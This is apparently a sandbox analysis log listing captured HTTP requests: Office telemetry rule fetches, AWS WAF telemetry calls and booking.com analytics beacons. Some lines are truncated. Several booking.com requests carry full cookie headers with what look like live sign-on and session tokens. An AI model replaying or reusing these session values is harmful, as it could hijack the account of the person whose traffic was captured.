Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31343530262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b313438393425354c273a412537422732326d6f253230273a4131393a2d324137383a253a41313e383134253d462d30432735402532326f6d2530302d30433236382530413539352d30413b3e3032392d374c273241253742253230742530302d304325303a444b54253a332d30314c415625323b273a302530433136303437253546273a412535402d32306f6d2d323a27304b3a3738253a413c373427324133363036352537462d304325374a2530306d65253a30273a4b3331322d304b31393b253043333632363127374c273243273d422730327c253a30273a4b2532326a777c766f6c253033253231412530312d303225304b3334323838253d46273a4b2535422d303a6f6d27323025324331343327304b313439273a4331343030302d37462d3a4325354a273a307427323025324327323271776a6f6974273a332730334c495e27303b2d3232253a413b343130342735442530432537402d30326d6f2d323027324b333f33273a4b3330352d304b313633323625354427324327374a273232762d323027324b253a30766d707425323b6e6765696c6e636d65253033444b542d303325303a253041333e313f36273d4c2532432d374a2732306d6f253232273243313b3e273243303e352730433b363935362d3d4425324b273d402530326f6d25323025324136393a2532413a323b27324b333e333a3d2d3544253a412d374227323074253230253241273a304c41404d4c2730332d323b464b5e2d3233253a302d304331363033322537442530412d374225303a6d6f27323a253a41363b30253243393b3e273241333432333227354427304b273542273a327627323a253a41273a3a4449562d303b273231444b56253231253230273a413336303c382737442d324b27374a2d32326d65273a302530433635362530433134352d304333343a343a27354c253a41273d4a2532327c273a3025304327323248332532316731613836326c332f36323f382536346e6a2d62383d6125643937396338396334653364273a314449542d323127323a253a41313e3a3738253d462d30432735402532326f6d2530302d304334353b253041313c312d30413b3e3237382d374c273241253742253230742530302d304325303a444b54253a332d30314c415625323b273a302530433136323937253546273a412535402d32306f6d2d323a27304b3c3837253a413933372732413336323b352537462d304325374a253030742d323a27304b2d32324441542d303327323144495627323327303a273243313e33323b253d442d30412d3d4225323a6f652732302530433530322532413b3e273243313e33323b253d442d30412d3d4225323a6f65273230253043353130253241353f273243313e333037253d442d30412d3d4225323a762d30322732412532324c415627303b2732334a4d414647522d323b27303a2d3243333e313c33253744273243253742253030656f2532302d324137323b253a4134382d3243333e313c332537442732432537422530307c273232273a4327303249253a31273a3b53504146273a312530322732433334333630273d462532412d354027323a6d6527303a2d3243353b312d304336342732433334333630273d462532412d354027323a6d6527303a2d3243353c332d304331302732433334333730273d462532412d354027323a742d30302d3a4325323a4641542530332732334e43562530312d303225304b333431393c253d46273a4b2535422d303a6f6d27323025324337343927304b333825304b333431393c253d46273a4b2535422d303a76253032273243253032
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413736302d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=36393324266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d30433635342532433125324131313a3636273d442730432d354a27303a656d25323a273a4134373627324333273243313b30343625374c253041253d422d30307c2d3232253a412d3032432530332532315350434c2d303325303a2530413331383f3b273d4c2532432d374a2732306d6f25323227324336333d27324331382530413331383f3b273d4c2532432d374a273230742732322530432530304c4b5625303b2530314e49562d30312d3a3225324b31313a383b253744253241253540273a306d6d273a322730433b373027304b3d3425324b31313a383b253744253241253540273a307425303a253041253a324c4b542d3a3325323b464154253033273232253043333b3b38372535462d324127354a253a306f652d3232253a413b36352732413735253043333b3b38372535462d324127354a253a306f652d3232253a413b33352732413935253043333b3b39322535462d324127354a253a306f652d3232253a413a3a38273241313132273243313b31303025374c253041253d422d30307c2d3232253a412d3032464954253233273233464b5e273233273a322730433b393131342d3d4425324b273d402530326f6d253230253241303e3625324139323a27324b33313b313e2d3544253a412d37422732306d6d2530322530413a363225304b313631253a433b3b3b3d392535442d304b2735402530326d6d27323227304b303232273a433337352d324b313b313f3025354c273a412537422732326d6f253230273a413230372d324133363f253a413131313733253d462d30432735402532326f6d2530302d3043313a31253041313f372d30413b313938332d374c2732412537422532306d6d27303a273243333f3427304339383f27304b3b3939393f273d4625374424626873615f696c666d7a3d3332 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fb
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413735322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=3131383b262668636b3f3126606073613f253d422d37402d3a326d6d2d303a273241313432253241313937273a4134303238342737442d324b27374a2d32326d65273a302530433335302530433232302d3043343238313627354c253a41273d4a253232656f2d3032273241313430273243303231273243363830303b253d442d30412d3d4225323a6f652732302530433133322532413039372532413c303236342d354c27304b2d3542253a30656f2530322732433130322530413a303125304b3432323431253d46273a4b2535422d303a6f6d27323025324333313427304b303236273a433632303d392d37462d3a4325354a273a306d6f253032253241313035273a413233322d3241363038373d27374c2d3243253d402d30326f6d2732322530433132332d304332313c2530413438303033273d4c2532432d374a2732306d6f2532322732433b372d30433231302530413438303130273d4c2532432d374a2732306d6f2532322732433b322d30433236392530413438313834273d4c2532432d374a2732306d6f2532322732433a342d304332363c2530413438313930273d4c2532432d374a2732306d6f2532322732433a302d304332363f2530413438313a30273d4c2532432d374a2732306d6f253232273243353a2d30433236312530413438313a3a273d4c2532432d374a2732306d6f25323227324335372d30433237392530413438313b3a273d4c2532432d374a2732306d6f25323227324335302d304332373b2530413438313d36273d4c2532432d374a2732306d6f253232273243343b2d304332373d2530413438313e3b273d4c2532432d374a2732306d6f25323227324334352d304332373e2530413438313f36273d4c2532432d374a2732306d6f25323227324334372d30433237302530413438313036273d4c2532432d374a2732306d6f25323227324334312d30433237312530413438323832273d4c2532432d374a2732306d6f25323227324334332d30433234382530413438323831273d4c2532432d374a2732306d6f25323227324334322d30433234392530413438323934273d4c2532432d374a2732306d6f253232273243373a2d304332343a2530413438323b33273d4c2532432d374a2732306d6f25323227324337352d304332343b2530413438323c3b273d4c2532432d374a2732306d6f25323227324337342d304332343c2530413438323d36273d4c2532432d374a2732306d6f25323227324337372d304332343c2530413438323e36273d4c2532432d374a2732306d6f25323227324337362d304332343d2530413438323f3a273d4c2532432d374a2732306d6f25323227324337312d304332343e2530413438333834273d4c2532432d374a2732306d6f25323227324337302d304332343e2530413438333935273d4c2532432d374a2732306d6f25323227324337302d304332343f2530413438333d34273d4c2532432d374a2732306d6f25323227324337332d304332343f2530413438333f30273d4c2532432d374a2732306d6f25323227324337322d3043323430253041343834393b273d4c2532432d374a2732306d6f253232273243363b2d30433234312530413438343031273d4c2535442e606071635d696c6465783f3331 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-sit
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413735372d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=32303924266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304336382732433234392530413c323533322d354627324b253d40273a3a6d6d253a302d304336382732433235302530413c3236303a2d354627324b253d40273a3a6d6d253a302d304336372732433235302530413c323739332d354627324b253d40273a3a6d6d253a302d304336362732433235302530413c323832342d354627324b253d40273a3a6d6d253a302d304336352732433235302530413c323834302d354627354c266a6a716b57696e646d7a353132 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; 